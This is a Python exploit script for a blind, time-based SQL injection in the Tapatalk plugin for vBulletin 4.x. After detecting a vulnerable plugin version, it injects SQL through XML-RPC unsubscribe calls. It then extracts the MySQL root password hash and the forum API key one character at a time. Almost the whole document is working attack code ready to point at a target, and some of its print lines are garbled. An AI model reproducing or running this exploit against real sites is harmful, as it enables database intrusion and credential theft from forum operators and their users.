import urllib2, urllib
import xmlrpclib,re, urllib2,string,itertools,time
from distutils.version import LooseVersion
class Exploit( object ):
def __init__( self , target, debug = 0 ):
self .stopwatch_start = time.time()
self .target = target
self .path = target
self .debug = debug
if not self .target.endswith( "mobiquo.php" ):
self .path = self .detect_tapatalk()
if not self .path:
raise Exception( "Could not detect tapatalk or version not supported!" )
self .rpc_connect()
self .attack_func = self .attack_2
def detect_tapatalk( self ):
handlers = [
urllib2.HTTPHandler(debuglevel = self .debug),
urllib2.HTTPSHandler(debuglevel = self .debug),
]
ua = urllib2.build_opener( * handlers)
ua.addheaders = [( 'User-agent' , 'Mozilla/5.0 (iPhone; CPU iPhone OS 5_0 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9A334 Safari/7534.48.3' )]
data = ua. open ( self .target).read()
if self .debug:
print data
if not "tapatalkDetect()" in data:
print "[xx] could not detect tapatalk. bye..."
return None
print "[ i] Taptalk detected ... " ,
path = " ".join(re.findall(r" ^\s * <link href = [\s'\ "]?(http://.*?/)smartbanner/appbanner.css" , data, re.MULTILINE|re.DOTALL))
path + = "mobiquo.php"
print "'%s' ... " % path,
data = urllib.urlopen(path).read()
version = " ".join(re.findall(r" Current Tapatalk plugin version:\s * ([\d\.a - zA - Z] + )", data))
if LooseVersion(version) < = LooseVersion( "5.2.1" ):
print "v.%s :) - OK" % version
return path
print "v.%s :( - not vulnerable" % version
return None
def rpc_connect( self ):
self .rpc = xmlrpclib.ServerProxy( self .path,verbose = self .debug)
def attack_1( self , sqli, sleep = 2 ):
query = "-1 union %s and ( select sleep(%s) ) " % (sqli,sleep)
query + = "union select subscribethreadid from subscribethread where 1=1 OR 1=1"
if self .debug:
print
% query
return self .rpc.unsubscribe_topic( "s_%s" % query)
def attack_2( self , sqli, sleep = 2 ):
query = "-1 union %s and ( select sleep(%s) ) " % (sqli,sleep)
query + = "union select subscribeforumid from subscribeforum where 1=1 OR 1=1"
if self .debug:
print
% query
return self .rpc.unsubscribe_forum( "s_%s" % query)
def attack_blind( self ,sqli,sleep = 2 ):
return self .attack_func(sqli,sleep = sleep)
def attack_blind_guess( self ,query, column, charset = string.ascii_letters + string.digits,maxlength = 32 , sleep = 2 , case = True ):
hit = False
print "[ ] trying to guess length ..."
for guess_length in xrange (maxlength + 1 ):
q = query.replace( "<COLUMN>" , "length(%s)" % column).replace( "<GUESS>" , "= %s" % guess_length)
self .stopwatch()
self .attack_blind(q, sleep)
duration = self .stopwatch()
print "." ,
if duration > = sleep - sleep / 8 :
hit = True
print ""
break
if not hit:
print "[ !!] unable to guess password length, check query!"
return None
print "[ *] LENGTH = %s" % guess_length
print "[ ] trying to guess value ..."
hits = 0
result = ""
for pos in xrange (guess_length):
for attempt in self .bruteforce(charset, 1 ):
if attempt = = "%%" :
attempt = "\%"
q = query.replace( "<COLUMN>" ,column).replace( "<GUESS>" , "LIKE '%s%s%%' " % (result,attempt))
self .stopwatch()
self .attack_blind(q, sleep)
duration = self .stopwatch()
print "." ,
if duration > = sleep - sleep / 8 :
if case:
q = query.replace( "<COLUMN>" ,column).replace( "<GUESS>" , "LIKE binary '%s%s%%' " % (result,attempt.lower()))
self .stopwatch()
self .attack_blind(q, sleep)
duration = self .stopwatch()
if duration > = sleep - sleep / 8 :
attempt = attempt.lower()
else :
attempt = attempt.upper()
hits + = 1
print ""
print "[ +] HIT! - %s[%s].." % (result,attempt)
result + = attempt
break
if not hits = = guess_length:
print "[ !!] unable to guess password length, check query!"
return None
print "[ *] SUCCESS!: query: %s" % (query.replace( "<COLUMN>" ,column).replace( "<GUESS>" , "='%s'" % result))
return result
def bruteforce( self , charset, maxlength):
return (''.join(candidate)
for candidate in itertools.chain.from_iterable(itertools.product(charset, repeat = i)
for i in range ( 1 , maxlength + 1 )))
def stopwatch( self ):
stop = time.time()
diff = stop - self .stopwatch_start
self .stopwatch_start = stop
return diff
if __name__ = = "__main__" :
DEBUG = False
TARGET = "http://TARGET/vbb4/forum.php"
x = Exploit(TARGET,debug = DEBUG)
print "[ ] TAPATALK for vBulletin 4.x - SQLi"
print "[--] Target: %s" % TARGET
if DEBUG: print "[--] DEBUG-Mode!"
print "[ +] Attack - sqli"
query = u "-1 UNION SELECT 1%s" % unichr ( 0 )
if DEBUG:
print u
% query
print "[ *] guess mysql user/pass"
print x.attack_blind_guess( "select -1 from mysql.user where user='root' and <COLUMN> <GUESS>" ,
column = "password" ,
charset = "*" + string.hexdigits,
maxlength = 45 )
print "[ *] guess apikey"
print x.attack_blind_guess( "select -1 from setting where varname='apikey' and <COLUMN> <GUESS>" ,
column = 'value' ,
charset = string.ascii_letters + string.digits,
maxlength = 14 ,
)
|